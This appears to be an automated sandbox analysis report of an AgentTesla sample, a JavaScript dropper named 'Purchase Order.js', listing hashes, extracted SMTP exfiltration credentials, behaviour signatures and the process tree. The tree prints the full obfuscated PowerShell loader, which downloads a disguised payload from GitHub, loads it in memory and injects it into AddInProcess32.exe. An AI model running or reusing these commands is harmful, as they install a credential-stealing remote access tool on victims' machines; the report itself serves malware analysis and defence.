Analysis
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max time kernel
140s -
max time network
204s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
15/10/2024, 01:09
Static task
static1
Behavioral task
behavioral1
Sample
Purchase Order.js
Resource
win7-20240903-en
General
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Target
Purchase Order.js
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Size
133KB
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MD5
8f4dc9bb5911379994ef0cadf2953e0d
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SHA1
456a8ba07ceab3066f9fd12f73d4f5da34549e50
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SHA256
8906d935345492816ccfc993df85b2fb7d37519247aa063126f8b93e577090d0
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SHA512
8a83e2be903573e7cb04031ed13297c1a1c9f65f32b6dacace36c52e9b818cf5536cc23d067c873f390a37da5c69a830b4d42aa4314d119d548008d77b29aa0b
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SSDEEP
3072:gW5Bbi9oLFzWuLD1dsW66/Y9tTCFzxW5Bbi9oLFzWuLDn:+9opzWwD1mOGJCFzh9opzWwDn
Malware Config
Extracted
https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_J.jpg%20
https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_J.jpg%20
Extracted
Protocol: smtp- Host:
mail.detarcoopmedical.com - Port:
587 - Username:
[email protected] - Password:
To$zL%?nhDHN
Extracted
agenttesla
Protocol: smtp- Host:
mail.detarcoopmedical.com - Port:
587 - Username:
[email protected] - Password:
To$zL%?nhDHN - Email To:
[email protected]
Signatures
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AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 2856 powershell.exe 20 2856 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3588 powershell.exe 2856 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 6 raw.githubusercontent.com 7 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 31 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2856 set thread context of 1380 2856 powershell.exe 90 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3588 powershell.exe 3588 powershell.exe 2856 powershell.exe 2856 powershell.exe 1380 AddInProcess32.exe 1380 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3588 powershell.exe Token: SeDebugPrivilege 2856 powershell.exe Token: SeDebugPrivilege 1380 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 764 wrote to memory of 3588 764 wscript.exe 84 PID 764 wrote to memory of 3588 764 wscript.exe 84 PID 3588 wrote to memory of 2856 3588 powershell.exe 86 PID 3588 wrote to memory of 2856 3588 powershell.exe 86 PID 2856 wrote to memory of 1380 2856 powershell.exe 90 PID 2856 wrote to memory of 1380 2856 powershell.exe 90 PID 2856 wrote to memory of 1380 2856 powershell.exe 90 PID 2856 wrote to memory of 1380 2856 powershell.exe 90 PID 2856 wrote to memory of 1380 2856 powershell.exe 90 PID 2856 wrote to memory of 1380 2856 powershell.exe 90 PID 2856 wrote to memory of 1380 2856 powershell.exe 90 PID 2856 wrote to memory of 1380 2856 powershell.exe 90
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Purchase Order.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAOQBJAEQAaQBtAGEAZwBlAFUAcgBsACAAPQAgAGUAOAAwAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQwByAHkAcAB0AGUAcgBzAEEAbgBkAFQAbwBvAGwAcwBPAGYAaQBjAGkAYQBsAC8AWgBJAFAALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAEQAZQB0AGEAaABOAG8AdABlAF8ASgAuAGoAcABnACAAZQA4ADAAOwA5AEkARAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAJwArACcAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbAAnACsAJwBpAGUAbgB0ADsAOQBJAEQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAA5AEkARAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAOQBJAEQAJwArACcAaQBtAGEAJwArACcAZwBlAFUAcgBsACkAOwA5AEkARABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdACcAKwAnADoAOgBVAFQARgA4ACcAKwAnAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAA5AEkARABpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwA5AEkARABzAHQAYQByAHQARgBsAGEAZwAgAD0AIABlACcAKwAnADgAMAAnACsAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAKwAnAGUAOAAnACsAJwAwADsAOQBJAEQAZQBuAGQARgBsAGEAZwAgAD0AIABlADgAMAA8ADwAQgBBACcAKwAnAFMARQA2ADQAXwBFAE4ARAA+AD4AZQA4ADAAOwA5AEkARABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgADkASQBEAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuACcAKwAnAGQAZQB4AE8AZgAoADkASQBEAHMAdABhAHIAdABGAGwAYQBnACkAOwA5AEkARABlAG4AZABJAG4AZABlAHgAIAA9ACAAOQBJAEQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAOQBJAEQAZQBuAGQARgBsAGEAZwApADsAOQBJAEQAJwArACcAcwB0ACcAKwAnAGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAA5AEkARABlAG4AZABJAG4AZABlAHgAIAAtAGcAJwArACcAdAAgADkASQBEAHMAJwArACcAdABhACcAKwAnAHIAdABJAG4AZABlAHgAOwA5AEkARABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAOQBJAEQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ADkASQBEAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAnACsAJwAgADkASQBEAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAA5AEkARABzAHQAYQByAHQASQBuAGQAZQB4ADsAOQBJAEQAYgBhAHMAJwArACcAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAA5AEkARABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAOQBJAEQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAOQBJAEQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7ADkASQBEAGMAbwBtAG0AYQAnACsAJwBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAJwArACcAKAA5AEkARABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwA5AEkARABsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoADkASQBEAGMAbwBtAG0AYQBuAGQAQgB5AHQAJwArACcAZQBzACkAOwA5AEkARAB2AGEAaQBNAGUAdABoAG8AJwArACcAZAAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAZQA4ADAAVgBBAEkAJwArACcAZQA4ADAAKQAnACsAJwA7ADkASQBEAHYAJwArACcAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKAA5AEkARABuACcAKwAnAHUAbABsACwAIABAACgAZQA4ADAAdAB4AHQALgBlAGQAbwAvAHYAZQBkAC4AMgByAC4AMwA5AGIAMwA0ADUAMwAwADIAYQAwADcANQBiADEAYgBjADAAZAA0ADUAYgA2ADMAMgBlAGIAOQBlAGUANgAyAC0AYgB1AHAALwAvADoAcwBwAHQAdABoAGUAOAAwACwAIABlADgAMABkAGUAcwBhAHQAaQB2AGEAZABvAGUAOAAwACwAIABlADgAMABkAGUAcwBhAHQAaQB2AGEAZABvAGUAOAAwACwAJwArACcAIABlADgAMABkAGUAcwBhAHQAaQB2AGEAZABvAGUAOAAwACwAIABlADgAMABBAGQAZABJAG4AUAByAG8AYwAnACsAJwBlAHMAJwArACcAcwAzADIAZQA4ADAALAAgAGUAJwArACcAOAAwAGQAZQBzAGEAdABpAHYAYQBkAG8AZQA4ADAALAAnACsAJwAgAGUAOAAwAGQAZQBzAGEAdABpAHYAYQBkAG8AZQA4ADAAKQApADsAJwApACAALQBDAHIARQBQAEwAYQBDAEUAIAAnAGUAOAAwACcALABbAGMAaABhAHIAXQAzADkAIAAgAC0AQwByAEUAUABMAGEAQwBFACcAOQBJAEQAJwAsAFsAYwBoAGEAcgBdADMANgApACAAfAAmACAAKAAgACQAUwBoAEUATABsAEkAZABbADEAXQArACQAUwBoAEUAbABMAEkAZABbADEAMwBdACsAJwBYACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3588 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('9IDimageUrl = e80https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_J.jpg e80;9IDwebClient = New-Object Sys'+'tem.Net.WebCl'+'ient;9IDimageBytes = 9IDwebClient.DownloadData(9ID'+'ima'+'geUrl);9IDimageText = [System.Text.Encoding]'+'::UTF8'+'.GetString(9IDimageBytes);9IDstartFlag = e'+'80'+'<<BASE64_START>>'+'e8'+'0;9IDendFlag = e80<<BA'+'SE64_END>>e80;9IDstartIndex = 9IDimageText.In'+'dexOf(9IDstartFlag);9IDendIndex = 9IDimageText.IndexOf(9IDendFlag);9ID'+'st'+'artIndex -ge 0 -and 9IDendIndex -g'+'t 9IDs'+'ta'+'rtIndex;9IDstartIndex += 9IDstartFlag.Length;9IDbase64Length ='+' 9IDendIndex - 9IDstartIndex;9IDbas'+'e64Command = 9IDimageText.Substring(9IDstartIndex, 9IDbase64Length);9IDcomma'+'ndBytes = [System.Convert]::FromBase64String'+'(9IDbase64Command);9IDloadedAssembly = [System.Reflection.Assembly]::Load(9IDcommandByt'+'es);9IDvaiMetho'+'d = [dnlib.IO.Home].GetMethod(e80VAI'+'e80)'+';9IDv'+'aiMethod.Invoke(9IDn'+'ull, @(e80txt.edo/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptthe80, e80desativadoe80, e80desativadoe80,'+' e80desativadoe80, e80AddInProc'+'es'+'s32e80, e'+'80desativadoe80,'+' e80desativadoe80));') -CrEPLaCE 'e80',[char]39 -CrEPLaCE'9ID',[char]36) |& ( $ShELlId[1]+$ShElLId[13]+'X')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1380
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82